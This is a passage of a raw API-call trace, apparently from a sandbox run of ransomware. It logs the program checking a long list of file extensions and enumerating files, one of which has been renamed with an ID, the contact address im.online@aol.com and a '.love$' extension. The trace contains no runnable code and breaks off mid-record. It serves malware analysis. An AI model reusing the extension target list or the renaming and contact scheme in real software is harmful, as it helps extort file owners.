[0222.642] lstrcmpiW (lpString1=".backup", lpString2="].love$") returned -1 [0222.642] lstrlenW (lpString=".bak") returned 4 [0222.642] lstrcmpiW (lpString1=".bak", lpString2="ove$") returned -1 [0222.642] lstrlenW (lpString=".bay") returned 4 [0222.642] lstrcmpiW (lpString1=".bay", lpString2="ove$") returned -1 [0222.642] lstrlenW (lpString=".bd") returned 3 [0222.642] lstrcmpiW (lpString1=".bd", lpString2="ve$") returned -1 [0222.643] lstrlenW (lpString=".bin") returned 4 [0222.643] lstrcmpiW (lpString1=".bin", lpString2="ove$") returned -1 [0222.643] lstrlenW (lpString=".bmp") returned 4 [0222.643] lstrcmpiW (lpString1=".bmp", lpString2="ove$") returned -1 [0222.643] lstrlenW (lpString=".bz2") returned 4 [0222.643] lstrcmpiW (lpString1=".bz2", lpString2="ove$") returned -1 [0222.643] lstrlenW (lpString=".c") returned 2 [0222.643] lstrcmpiW (lpString1=".c", lpString2="e$") returned -1 [0222.643] lstrlenW (lpString=".cdr") returned 4 [0222.643] lstrcmpiW (lpString1=".cdr", lpString2="ove$") returned -1 [0222.643] lstrlenW (lpString=".cer") returned 4 [0222.643] lstrcmpiW (lpString1=".cer", lpString2="ove$") returned -1 [0222.643] lstrlenW (lpString=".cf") returned 3 [0222.643] lstrcmpiW (lpString1=".cf", lpString2="ve$") returned -1 [0222.643] lstrlenW (lpString=".cfc") returned 4 [0222.643] lstrcmpiW (lpString1=".cfc", lpString2="ove$") returned -1 [0222.643] lstrlenW (lpString=".cfm") returned 4 [0222.643] lstrcmpiW (lpString1=".cfm", lpString2="ove$") returned -1 [0222.643] lstrlenW (lpString=".cfml") returned 5 [0222.643] lstrcmpiW (lpString1=".cfml", lpString2="love$") returned -1 [0222.643] lstrlenW (lpString=".cfu") returned 4 [0222.643] lstrcmpiW (lpString1=".cfu", lpString2="ove$") returned -1 [0222.643] lstrlenW (lpString=".chm") returned 4 [0222.643] lstrcmpiW (lpString1=".chm", lpString2="ove$") returned -1 [0222.643] lstrlenW (lpString=".cin") returned 4 [0222.643] lstrcmpiW (lpString1=".cin", lpString2="ove$") returned -1 [0222.643] lstrlenW (lpString=".class") returned 6 [0222.643] lstrcmpiW (lpString1=".class", lpString2=".love$") returned -1 [0222.643] lstrlenW (lpString=".clx") returned 4 [0222.644] lstrcmpiW (lpString1=".clx", lpString2="ove$") returned -1 [0222.644] lstrlenW (lpString=".config") returned 7 [0222.644] lstrcmpiW (lpString1=".config", lpString2="].love$") returned -1 [0222.644] lstrlenW (lpString=".cpp") returned 4 [0222.644] lstrcmpiW (lpString1=".cpp", lpString2="ove$") returned -1 [0222.644] lstrlenW (lpString=".cr2") returned 4 [0222.644] lstrcmpiW (lpString1=".cr2", lpString2="ove$") returned -1 [0222.644] lstrlenW (lpString=".crt") returned 4 [0222.644] lstrcmpiW (lpString1=".crt", lpString2="ove$") returned -1 [0222.644] lstrlenW (lpString=".crw") returned 4 [0222.644] lstrcmpiW (lpString1=".crw", lpString2="ove$") returned -1 [0222.644] lstrlenW (lpString=".cs") returned 3 [0222.644] lstrcmpiW (lpString1=".cs", lpString2="ve$") returned -1 [0222.644] lstrlenW (lpString=".css") returned 4 [0222.644] lstrcmpiW (lpString1=".css", lpString2="ove$") returned -1 [0222.644] lstrlenW (lpString=".csv") returned 4 [0222.644] lstrcmpiW (lpString1=".csv", lpString2="ove$") returned -1 [0222.644] lstrlenW (lpString=".cub") returned 4 [0222.644] lstrcmpiW (lpString1=".cub", lpString2="ove$") returned -1 [0222.644] lstrlenW (lpString=".dae") returned 4 [0222.644] lstrcmpiW (lpString1=".dae", lpString2="ove$") returned -1 [0222.644] lstrlenW (lpString=".dat") returned 4 [0222.644] lstrcmpiW (lpString1=".dat", lpString2="ove$") returned -1 [0222.644] lstrlenW (lpString=".db") returned 3 [0222.644] lstrcmpiW (lpString1=".db", lpString2="ve$") returned -1 [0222.644] lstrlenW (lpString=".dbf") returned 4 [0222.644] lstrcmpiW (lpString1=".dbf", lpString2="ove$") returned -1 [0222.644] lstrlenW (lpString=".dbx") returned 4 [0222.644] lstrcmpiW (lpString1=".dbx", lpString2="ove$") returned -1 [0222.645] lstrlenW (lpString=".dc3") returned 4 [0222.645] lstrcmpiW (lpString1=".dc3", lpString2="ove$") returned -1 [0222.645] lstrlenW (lpString=".dcm") returned 4 [0222.645] lstrcmpiW (lpString1=".dcm", lpString2="ove$") returned -1 [0222.645] lstrlenW (lpString=".dcr") returned 4 [0222.645] lstrcmpiW (lpString1=".dcr", lpString2="ove$") returned -1 [0222.645] lstrlenW (lpString=".der") returned 4 [0222.645] lstrcmpiW (lpString1=".der", lpString2="ove$") returned -1 [0222.645] lstrlenW (lpString=".dib") returned 4 [0222.645] lstrcmpiW (lpString1=".dib", lpString2="ove$") returned -1 [0222.645] lstrlenW (lpString=".dic") returned 4 [0222.645] lstrcmpiW (lpString1=".dic", lpString2="ove$") returned -1 [0222.645] lstrlenW (lpString=".dif") returned 4 [0222.645] lstrcmpiW (lpString1=".dif", lpString2="ove$") returned -1 [0222.645] lstrlenW (lpString=".divx") returned 5 [0222.645] lstrcmpiW (lpString1=".divx", lpString2="love$") returned -1 [0222.645] lstrlenW (lpString=".djvu") returned 5 [0222.645] lstrcmpiW (lpString1=".djvu", lpString2="love$") returned -1 [0222.645] lstrlenW (lpString=".dng") returned 4 [0222.645] lstrcmpiW (lpString1=".dng", lpString2="ove$") returned -1 [0222.645] lstrlenW (lpString=".doc") returned 4 [0222.645] lstrcmpiW (lpString1=".doc", lpString2="ove$") returned -1 [0222.645] lstrlenW (lpString=".docm") returned 5 [0222.645] lstrcmpiW (lpString1=".docm", lpString2="love$") returned -1 [0222.645] lstrlenW (lpString=".docx") returned 5 [0222.645] lstrcmpiW (lpString1=".docx", lpString2="love$") returned -1 [0222.645] lstrlenW (lpString=".dot") returned 4 [0222.645] lstrcmpiW (lpString1=".dot", lpString2="ove$") returned -1 [0222.645] lstrlenW (lpString=".dotm") returned 5 [0222.645] lstrcmpiW (lpString1=".dotm", lpString2="love$") returned -1 [0222.645] lstrlenW (lpString=".dotx") returned 5 [0222.645] lstrcmpiW (lpString1=".dotx", lpString2="love$") returned -1 [0222.646] lstrlenW (lpString=".dpx") returned 4 [0222.646] lstrcmpiW (lpString1=".dpx", lpString2="ove$") returned -1 [0222.646] lstrlenW (lpString=".dqy") returned 4 [0222.646] lstrcmpiW (lpString1=".dqy", lpString2="ove$") returned -1 [0222.646] lstrlenW (lpString=".dsn") returned 4 [0222.646] lstrcmpiW (lpString1=".dsn", lpString2="ove$") returned -1 [0222.646] lstrlenW (lpString=".dt") returned 3 [0222.646] lstrcmpiW (lpString1=".dt", lpString2="ve$") returned -1 [0222.646] lstrlenW (lpString=".dtd") returned 4 [0222.646] lstrcmpiW (lpString1=".dtd", lpString2="ove$") returned -1 [0222.646] lstrlenW (lpString=".dwg") returned 4 [0222.646] lstrcmpiW (lpString1=".dwg", lpString2="ove$") returned -1 [0222.646] lstrlenW (lpString=".dwt") returned 4 [0222.646] lstrcmpiW (lpString1=".dwt", lpString2="ove$") returned -1 [0222.646] lstrlenW (lpString=".dx") returned 3 [0222.646] lstrcmpiW (lpString1=".dx", lpString2="ve$") returned -1 [0222.646] lstrlenW (lpString=".dxf") returned 4 [0222.646] lstrcmpiW (lpString1=".dxf", lpString2="ove$") returned -1 [0222.646] lstrlenW (lpString=".edml") returned 5 [0222.646] lstrcmpiW (lpString1=".edml", lpString2="love$") returned -1 [0222.646] lstrlenW (lpString=".efd") returned 4 [0222.646] lstrcmpiW (lpString1=".efd", lpString2="ove$") returned -1 [0222.646] lstrlenW (lpString=".elf") returned 4 [0222.646] lstrcmpiW (lpString1=".elf", lpString2="ove$") returned -1 [0222.646] lstrlenW (lpString=".emf") returned 4 [0222.646] lstrcmpiW (lpString1=".emf", lpString2="ove$") returned -1 [0222.646] lstrlenW (lpString=".emz") returned 4 [0222.646] lstrcmpiW (lpString1=".emz", lpString2="ove$") returned -1 [0222.646] lstrlenW (lpString=".epf") returned 4 [0222.646] lstrcmpiW (lpString1=".epf", lpString2="ove$") returned -1 [0222.646] lstrlenW (lpString=".eps") returned 4 [0222.646] lstrcmpiW (lpString1=".eps", lpString2="ove$") returned -1 [0222.647] lstrlenW (lpString=".epsf") returned 5 [0222.647] lstrcmpiW (lpString1=".epsf", lpString2="love$") returned -1 [0222.647] lstrlenW (lpString=".epsp") returned 5 [0222.647] lstrcmpiW (lpString1=".epsp", lpString2="love$") returned -1 [0222.647] lstrlenW (lpString=".erf") returned 4 [0222.647] lstrcmpiW (lpString1=".erf", lpString2="ove$") returned -1 [0222.647] lstrlenW (lpString=".exr") returned 4 [0222.647] lstrcmpiW (lpString1=".exr", lpString2="ove$") returned -1 [0222.647] lstrlenW (lpString=".f4v") returned 4 [0222.647] lstrcmpiW (lpString1=".f4v", lpString2="ove$") returned -1 [0222.647] lstrlenW (lpString=".fido") returned 5 [0222.647] lstrcmpiW (lpString1=".fido", lpString2="love$") returned -1 [0222.647] lstrlenW (lpString=".flm") returned 4 [0222.647] lstrcmpiW (lpString1=".flm", lpString2="ove$") returned -1 [0222.647] lstrlenW (lpString=".flv") returned 4 [0222.647] lstrcmpiW (lpString1=".flv", lpString2="ove$") returned -1 [0222.647] lstrlenW (lpString=".frm") returned 4 [0222.647] lstrcmpiW (lpString1=".frm", lpString2="ove$") returned -1 [0222.647] lstrlenW (lpString=".fxg") returned 4 [0222.647] lstrcmpiW (lpString1=".fxg", lpString2="ove$") returned -1 [0222.647] lstrlenW (lpString=".geo") returned 4 [0222.647] lstrcmpiW (lpString1=".geo", lpString2="ove$") returned -1 [0222.647] lstrlenW (lpString=".gif") returned 4 [0222.647] lstrcmpiW (lpString1=".gif", lpString2="ove$") returned -1 [0222.647] lstrlenW (lpString=".grs") returned 4 [0222.647] lstrcmpiW (lpString1=".grs", lpString2="ove$") returned -1 [0222.647] lstrlenW (lpString=".gz") returned 3 [0222.647] lstrcmpiW (lpString1=".gz", lpString2="ve$") returned -1 [0222.647] lstrlenW (lpString=".h") returned 2 [0222.647] lstrcmpiW (lpString1=".h", lpString2="e$") returned -1 [0222.647] lstrlenW (lpString=".hdr") returned 4 [0222.648] lstrcmpiW (lpString1=".hdr", lpString2="ove$") returned -1 [0222.648] lstrlenW (lpString=".hpp") returned 4 [0222.648] lstrcmpiW (lpString1=".hpp", lpString2="ove$") returned -1 [0222.648] lstrlenW (lpString=".hta") returned 4 [0222.648] lstrcmpiW (lpString1=".hta", lpString2="ove$") returned -1 [0222.648] lstrlenW (lpString=".htc") returned 4 [0222.648] lstrcmpiW (lpString1=".htc", lpString2="ove$") returned -1 [0222.648] lstrlenW (lpString=".htm") returned 4 [0222.648] lstrcmpiW (lpString1=".htm", lpString2="ove$") returned -1 [0222.648] lstrlenW (lpString=".html") returned 5 [0222.648] lstrcmpiW (lpString1=".html", lpString2="love$") returned -1 [0222.648] lstrlenW (lpString=".icb") returned 4 [0222.648] lstrcmpiW (lpString1=".icb", lpString2="ove$") returned -1 [0222.648] lstrlenW (lpString=".ics") returned 4 [0222.648] lstrcmpiW (lpString1=".ics", lpString2="ove$") returned -1 [0222.648] lstrlenW (lpString=".iff") returned 4 [0222.648] lstrcmpiW (lpString1=".iff", lpString2="ove$") returned -1 [0222.648] lstrlenW (lpString=".inc") returned 4 [0222.648] lstrcmpiW (lpString1=".inc", lpString2="ove$") returned -1 [0222.648] lstrlenW (lpString=".indd") returned 5 [0222.648] lstrcmpiW (lpString1=".indd", lpString2="love$") returned -1 [0222.648] lstrlenW (lpString=".ini") returned 4 [0222.648] lstrcmpiW (lpString1=".ini", lpString2="ove$") returned -1 [0222.648] lstrlenW (lpString=".iqy") returned 4 [0222.648] lstrcmpiW (lpString1=".iqy", lpString2="ove$") returned -1 [0222.648] lstrlenW (lpString=".j2c") returned 4 [0222.648] lstrcmpiW (lpString1=".j2c", lpString2="ove$") returned -1 [0222.648] lstrlenW (lpString=".j2k") returned 4 [0222.648] lstrcmpiW (lpString1=".j2k", lpString2="ove$") returned -1 [0222.648] lstrlenW (lpString=".java") returned 5 [0222.648] lstrcmpiW (lpString1=".java", lpString2="love$") returned -1 [0222.649] lstrlenW (lpString=".jp2") returned 4 [0222.649] lstrcmpiW (lpString1=".jp2", lpString2="ove$") returned -1 [0222.649] lstrlenW (lpString=".jpc") returned 4 [0222.649] lstrcmpiW (lpString1=".jpc", lpString2="ove$") returned -1 [0222.649] lstrlenW (lpString=".jpe") returned 4 [0222.649] lstrcmpiW (lpString1=".jpe", lpString2="ove$") returned -1 [0222.649] lstrlenW (lpString=".jpeg") returned 5 [0222.649] lstrcmpiW (lpString1=".jpeg", lpString2="love$") returned -1 [0222.649] lstrlenW (lpString=".jpf") returned 4 [0222.649] lstrcmpiW (lpString1=".jpf", lpString2="ove$") returned -1 [0222.649] lstrlenW (lpString=".jpg") returned 4 [0222.649] lstrcmpiW (lpString1=".jpg", lpString2="ove$") returned -1 [0222.649] lstrlenW (lpString=".jpx") returned 4 [0222.649] lstrcmpiW (lpString1=".jpx", lpString2="ove$") returned -1 [0222.649] lstrlenW (lpString=".js") returned 3 [0222.649] lstrcmpiW (lpString1=".js", lpString2="ve$") returned -1 [0222.649] lstrlenW (lpString=".jsf") returned 4 [0222.649] lstrcmpiW (lpString1=".jsf", lpString2="ove$") returned -1 [0222.649] lstrlenW (lpString=".json") returned 5 [0222.649] lstrcmpiW (lpString1=".json", lpString2="love$") returned -1 [0222.649] lstrlenW (lpString=".jsp") returned 4 [0222.649] lstrcmpiW (lpString1=".jsp", lpString2="ove$") returned -1 [0222.650] lstrlenW (lpString=".kdc") returned 4 [0222.650] lstrcmpiW (lpString1=".kdc", lpString2="ove$") returned -1 [0222.650] lstrlenW (lpString=".kmz") returned 4 [0222.650] lstrcmpiW (lpString1=".kmz", lpString2="ove$") returned -1 [0222.650] lstrlenW (lpString=".kwm") returned 4 [0222.650] lstrcmpiW (lpString1=".kwm", lpString2="ove$") returned -1 [0222.650] lstrlenW (lpString=".lasso") returned 6 [0222.650] lstrcmpiW (lpString1=".lasso", lpString2=".love$") returned -1 [0222.650] lstrlenW (lpString=".lbi") returned 4 [0222.650] lstrcmpiW (lpString1=".lbi", lpString2="ove$") returned -1 [0222.650] lstrlenW (lpString=".lgf") returned 4 [0222.650] lstrcmpiW (lpString1=".lgf", lpString2="ove$") returned -1 [0222.650] lstrlenW (lpString=".lgp") returned 4 [0222.650] lstrcmpiW (lpString1=".lgp", lpString2="ove$") returned -1 [0222.650] lstrlenW (lpString=".log") returned 4 [0222.650] lstrcmpiW (lpString1=".log", lpString2="ove$") returned -1 [0222.650] lstrlenW (lpString=".m1v") returned 4 [0222.650] lstrcmpiW (lpString1=".m1v", lpString2="ove$") returned -1 [0222.650] lstrlenW (lpString=".m4a") returned 4 [0222.650] lstrcmpiW (lpString1=".m4a", lpString2="ove$") returned -1 [0222.650] lstrlenW (lpString=".m4v") returned 4 [0222.650] lstrcmpiW (lpString1=".m4v", lpString2="ove$") returned -1 [0222.650] lstrlenW (lpString=".max") returned 4 [0222.650] lstrcmpiW (lpString1=".max", lpString2="ove$") returned -1 [0222.650] lstrlenW (lpString=".md") returned 3 [0222.650] lstrcmpiW (lpString1=".md", lpString2="ve$") returned -1 [0222.650] lstrlenW (lpString=".mda") returned 4 [0222.650] lstrcmpiW (lpString1=".mda", lpString2="ove$") returned -1 [0222.651] lstrlenW (lpString=".mdb") returned 4 [0222.651] lstrcmpiW (lpString1=".mdb", lpString2="ove$") returned -1 [0222.651] lstrlenW (lpString=".mde") returned 4 [0222.651] lstrcmpiW (lpString1=".mde", lpString2="ove$") returned -1 [0222.651] lstrlenW (lpString=".mdf") returned 4 [0222.651] lstrcmpiW (lpString1=".mdf", lpString2="ove$") returned -1 [0222.651] lstrlenW (lpString=".mdw") returned 4 [0222.651] lstrcmpiW (lpString1=".mdw", lpString2="ove$") returned -1 [0222.651] lstrlenW (lpString=".mef") returned 4 [0222.651] lstrcmpiW (lpString1=".mef", lpString2="ove$") returned -1 [0222.651] lstrlenW (lpString=".mft") returned 4 [0222.651] lstrcmpiW (lpString1=".mft", lpString2="ove$") returned -1 [0222.651] lstrlenW (lpString=".mfw") returned 4 [0222.651] lstrcmpiW (lpString1=".mfw", lpString2="ove$") returned -1 [0222.651] lstrlenW (lpString=".mht") returned 4 [0222.651] lstrcmpiW (lpString1=".mht", lpString2="ove$") returned -1 [0222.651] lstrlenW (lpString=".mhtml") returned 6 [0222.651] lstrcmpiW (lpString1=".mhtml", lpString2=".love$") returned 1 [0222.651] lstrlenW (lpString=".mka") returned 4 [0222.651] lstrcmpiW (lpString1=".mka", lpString2="ove$") returned -1 [0222.651] lstrlenW (lpString=".mkidx") returned 6 [0222.651] lstrcmpiW (lpString1=".mkidx", lpString2=".love$") returned 1 [0222.651] lstrlenW (lpString=".mkv") returned 4 [0222.651] lstrcmpiW (lpString1=".mkv", lpString2="ove$") returned -1 [0222.651] lstrlenW (lpString=".mos") returned 4 [0222.651] lstrcmpiW (lpString1=".mos", lpString2="ove$") returned -1 [0222.651] lstrlenW (lpString=".mov") returned 4 [0222.651] lstrcmpiW (lpString1=".mov", lpString2="ove$") returned -1 [0222.651] lstrlenW (lpString=".mp3") returned 4 [0222.652] lstrcmpiW (lpString1=".mp3", lpString2="ove$") returned -1 [0222.652] lstrlenW (lpString=".mp4") returned 4 [0222.652] lstrcmpiW (lpString1=".mp4", lpString2="ove$") returned -1 [0222.652] lstrlenW (lpString=".mpeg") returned 5 [0222.652] lstrcmpiW (lpString1=".mpeg", lpString2="love$") returned -1 [0222.652] lstrlenW (lpString=".mpg") returned 4 [0222.652] lstrcmpiW (lpString1=".mpg", lpString2="ove$") returned -1 [0222.652] lstrlenW (lpString=".mpv") returned 4 [0222.652] lstrcmpiW (lpString1=".mpv", lpString2="ove$") returned -1 [0222.652] lstrlenW (lpString=".mrw") returned 4 [0222.652] lstrcmpiW (lpString1=".mrw", lpString2="ove$") returned -1 [0222.652] lstrlenW (lpString=".msg") returned 4 [0222.652] lstrcmpiW (lpString1=".msg", lpString2="ove$") returned -1 [0222.652] lstrlenW (lpString=".mxl") returned 4 [0222.652] lstrcmpiW (lpString1=".mxl", lpString2="ove$") returned -1 [0222.652] lstrlenW (lpString=".myd") returned 4 [0222.652] lstrcmpiW (lpString1=".myd", lpString2="ove$") returned -1 [0222.652] lstrlenW (lpString=".myi") returned 4 [0222.652] lstrcmpiW (lpString1=".myi", lpString2="ove$") returned -1 [0222.652] lstrlenW (lpString=".nef") returned 4 [0222.652] lstrcmpiW (lpString1=".nef", lpString2="ove$") returned -1 [0222.652] lstrlenW (lpString=".nrw") returned 4 [0222.652] lstrcmpiW (lpString1=".nrw", lpString2="ove$") returned -1 [0222.652] lstrlenW (lpString=".obj") returned 4 [0222.652] lstrcmpiW (lpString1=".obj", lpString2="ove$") returned -1 [0222.652] lstrlenW (lpString=".odb") returned 4 [0222.652] lstrcmpiW (lpString1=".odb", lpString2="ove$") returned -1 [0222.652] lstrlenW (lpString=".odc") returned 4 [0222.652] lstrcmpiW (lpString1=".odc", lpString2="ove$") returned -1 [0222.652] lstrlenW (lpString=".odm") returned 4 [0222.652] lstrcmpiW (lpString1=".odm", lpString2="ove$") returned -1 [0222.652] lstrlenW (lpString=".odp") returned 4 [0222.652] lstrcmpiW (lpString1=".odp", lpString2="ove$") returned -1 [0222.653] lstrlenW (lpString=".ods") returned 4 [0222.653] lstrcmpiW (lpString1=".ods", lpString2="ove$") returned -1 [0222.653] lstrlenW (lpString=".oft") returned 4 [0222.653] lstrcmpiW (lpString1=".oft", lpString2="ove$") returned -1 [0222.653] lstrlenW (lpString=".one") returned 4 [0222.653] lstrcmpiW (lpString1=".one", lpString2="ove$") returned -1 [0222.653] lstrlenW (lpString=".onepkg") returned 7 [0222.653] lstrcmpiW (lpString1=".onepkg", lpString2="].love$") returned -1 [0222.653] lstrlenW (lpString=".onetoc2") returned 8 [0222.653] lstrcmpiW (lpString1=".onetoc2", lpString2="m].love$") returned -1 [0222.653] lstrlenW (lpString=".opt") returned 4 [0222.653] lstrcmpiW (lpString1=".opt", lpString2="ove$") returned -1 [0222.653] lstrlenW (lpString=".oqy") returned 4 [0222.653] lstrcmpiW (lpString1=".oqy", lpString2="ove$") returned -1 [0222.653] lstrlenW (lpString=".orf") returned 4 [0222.653] lstrcmpiW (lpString1=".orf", lpString2="ove$") returned -1 [0222.653] lstrlenW (lpString=".p12") returned 4 [0222.653] lstrcmpiW (lpString1=".p12", lpString2="ove$") returned -1 [0222.653] lstrlenW (lpString=".p7b") returned 4 [0222.653] lstrcmpiW (lpString1=".p7b", lpString2="ove$") returned -1 [0222.653] lstrlenW (lpString=".p7c") returned 4 [0222.653] lstrcmpiW (lpString1=".p7c", lpString2="ove$") returned -1 [0222.653] lstrlenW (lpString=".pam") returned 4 [0222.653] lstrcmpiW (lpString1=".pam", lpString2="ove$") returned -1 [0222.653] lstrlenW (lpString=".pbm") returned 4 [0222.653] lstrcmpiW (lpString1=".pbm", lpString2="ove$") returned -1 [0222.653] lstrlenW (lpString=".pct") returned 4 [0222.653] lstrcmpiW (lpString1=".pct", lpString2="ove$") returned -1 [0222.653] lstrlenW (lpString=".pcx") returned 4 [0222.653] lstrcmpiW (lpString1=".pcx", lpString2="ove$") returned -1 [0222.653] lstrlenW (lpString=".pdd") returned 4 [0222.653] lstrcmpiW (lpString1=".pdd", lpString2="ove$") returned -1 [0222.654] lstrlenW (lpString=".pdf") returned 4 [0222.654] lstrcmpiW (lpString1=".pdf", lpString2="ove$") returned -1 [0222.654] lstrlenW (lpString=".pdp") returned 4 [0222.654] lstrcmpiW (lpString1=".pdp", lpString2="ove$") returned -1 [0222.654] lstrlenW (lpString=".pef") returned 4 [0222.654] lstrcmpiW (lpString1=".pef", lpString2="ove$") returned -1 [0222.654] lstrlenW (lpString=".pem") returned 4 [0222.654] lstrcmpiW (lpString1=".pem", lpString2="ove$") returned -1 [0222.654] lstrlenW (lpString=".pff") returned 4 [0222.654] lstrcmpiW (lpString1=".pff", lpString2="ove$") returned -1 [0222.654] lstrlenW (lpString=".pfm") returned 4 [0222.654] lstrcmpiW (lpString1=".pfm", lpString2="ove$") returned -1 [0222.654] lstrlenW (lpString=".pfx") returned 4 [0222.654] lstrcmpiW (lpString1=".pfx", lpString2="ove$") returned -1 [0222.654] lstrlenW (lpString=".pgm") returned 4 [0222.654] lstrcmpiW (lpString1=".pgm", lpString2="ove$") returned -1 [0222.654] lstrlenW (lpString=".php") returned 4 [0222.654] lstrcmpiW (lpString1=".php", lpString2="ove$") returned -1 [0222.654] lstrlenW (lpString=".php3") returned 5 [0222.654] lstrcmpiW (lpString1=".php3", lpString2="love$") returned -1 [0222.654] lstrlenW (lpString=".php4") returned 5 [0222.654] lstrcmpiW (lpString1=".php4", lpString2="love$") returned -1 [0222.654] lstrlenW (lpString=".php5") returned 5 [0222.654] lstrcmpiW (lpString1=".php5", lpString2="love$") returned -1 [0222.654] lstrlenW (lpString=".phtml") returned 6 [0222.654] lstrcmpiW (lpString1=".phtml", lpString2=".love$") returned 1 [0222.654] lstrlenW (lpString=".pict") returned 5 [0222.654] lstrcmpiW (lpString1=".pict", lpString2="love$") returned -1 [0222.654] lstrlenW (lpString=".pl") returned 3 [0222.654] lstrcmpiW (lpString1=".pl", lpString2="ve$") returned -1 [0222.654] lstrlenW (lpString=".pls") returned 4 [0222.654] lstrcmpiW (lpString1=".pls", lpString2="ove$") returned -1 [0222.655] lstrlenW (lpString=".pm") returned 3 [0222.655] lstrcmpiW (lpString1=".pm", lpString2="ve$") returned -1 [0222.655] lstrlenW (lpString=".png") returned 4 [0222.655] lstrcmpiW (lpString1=".png", lpString2="ove$") returned -1 [0222.655] lstrlenW (lpString=".pnm") returned 4 [0222.655] lstrcmpiW (lpString1=".pnm", lpString2="ove$") returned -1 [0222.655] lstrlenW (lpString=".pot") returned 4 [0222.655] lstrcmpiW (lpString1=".pot", lpString2="ove$") returned -1 [0222.655] lstrlenW (lpString=".potm") returned 5 [0222.655] lstrcmpiW (lpString1=".potm", lpString2="love$") returned -1 [0222.655] lstrlenW (lpString=".potx") returned 5 [0222.655] lstrcmpiW (lpString1=".potx", lpString2="love$") returned -1 [0222.655] lstrlenW (lpString=".ppa") returned 4 [0222.655] lstrcmpiW (lpString1=".ppa", lpString2="ove$") returned -1 [0222.655] lstrlenW (lpString=".ppam") returned 5 [0222.655] lstrcmpiW (lpString1=".ppam", lpString2="love$") returned -1 [0222.655] lstrlenW (lpString=".ppm") returned 4 [0222.655] lstrcmpiW (lpString1=".ppm", lpString2="ove$") returned -1 [0222.656] lstrlenW (lpString=".pps") returned 4 [0222.656] lstrcmpiW (lpString1=".pps", lpString2="ove$") returned -1 [0222.656] lstrlenW (lpString=".ppsm") returned 5 [0222.656] lstrcmpiW (lpString1=".ppsm", lpString2="love$") returned -1 [0222.656] lstrlenW (lpString=".ppt") returned 4 [0222.656] lstrcmpiW (lpString1=".ppt", lpString2="ove$") returned -1 [0222.656] lstrlenW (lpString=".pptm") returned 5 [0222.656] lstrcmpiW (lpString1=".pptm", lpString2="love$") returned -1 [0222.656] lstrlenW (lpString=".pptx") returned 5 [0222.656] lstrcmpiW (lpString1=".pptx", lpString2="love$") returned -1 [0222.656] lstrlenW (lpString=".prn") returned 4 [0222.656] lstrcmpiW (lpString1=".prn", lpString2="ove$") returned -1 [0222.656] lstrlenW (lpString=".ps") returned 3 [0222.656] lstrcmpiW (lpString1=".ps", lpString2="ve$") returned -1 [0222.656] lstrlenW (lpString=".psb") returned 4 [0222.656] lstrcmpiW (lpString1=".psb", lpString2="ove$") returned -1 [0222.656] lstrlenW (lpString=".psd") returned 4 [0222.656] lstrcmpiW (lpString1=".psd", lpString2="ove$") returned -1 [0222.656] lstrlenW (lpString=".pst") returned 4 [0222.656] lstrcmpiW (lpString1=".pst", lpString2="ove$") returned -1 [0222.656] lstrlenW (lpString=".ptx") returned 4 [0222.656] lstrcmpiW (lpString1=".ptx", lpString2="ove$") returned -1 [0222.656] lstrlenW (lpString=".pub") returned 4 [0222.656] lstrcmpiW (lpString1=".pub", lpString2="ove$") returned -1 [0222.656] lstrlenW (lpString=".pwm") returned 4 [0222.656] lstrcmpiW (lpString1=".pwm", lpString2="ove$") returned -1 [0222.656] lstrlenW (lpString=".pxr") returned 4 [0222.656] lstrcmpiW (lpString1=".pxr", lpString2="ove$") returned -1 [0222.656] lstrlenW (lpString=".py") returned 3 [0222.656] lstrcmpiW (lpString1=".py", lpString2="ve$") returned -1 [0222.656] lstrlenW (lpString=".qt") returned 3 [0222.657] lstrcmpiW (lpString1=".qt", lpString2="ve$") returned -1 [0222.657] lstrlenW (lpString=".r3d") returned 4 [0222.657] lstrcmpiW (lpString1=".r3d", lpString2="ove$") returned -1 [0222.657] lstrlenW (lpString=".raf") returned 4 [0222.657] lstrcmpiW (lpString1=".raf", lpString2="ove$") returned -1 [0222.657] lstrlenW (lpString=".rar") returned 4 [0222.657] lstrcmpiW (lpString1=".rar", lpString2="ove$") returned -1 [0222.657] lstrlenW (lpString=".raw") returned 4 [0222.657] lstrcmpiW (lpString1=".raw", lpString2="ove$") returned -1 [0222.657] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa45ceef9, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa45ceef9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa45f1e62, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffe054, dwReserved1=0x256, cFileName="desktop.ini.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="DESKTO~1.LOV")) returned 0 [0222.657] FindClose (in: hFindFile=0x6d0308 | out: hFindFile=0x6d0308) returned 1 [0222.657] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74fe48 | out: hHeap=0x670000) returned 1 [0222.658] FindNextFileW (in: hFindFile=0x6cfec8, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x46e3ac73, ftLastAccessTime.dwHighDateTime=0x1d61695, ftLastWriteTime.dwLowDateTime=0x46e3ac73, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0222.658] FindClose (in: hFindFile=0x6cfec8 | out: hFindFile=0x6cfec8) returned 1 [0222.658] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3230048 | out: hHeap=0x670000) returned 1 [0222.659] FindNextFileW (in: hFindFile=0x6d0088, lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", 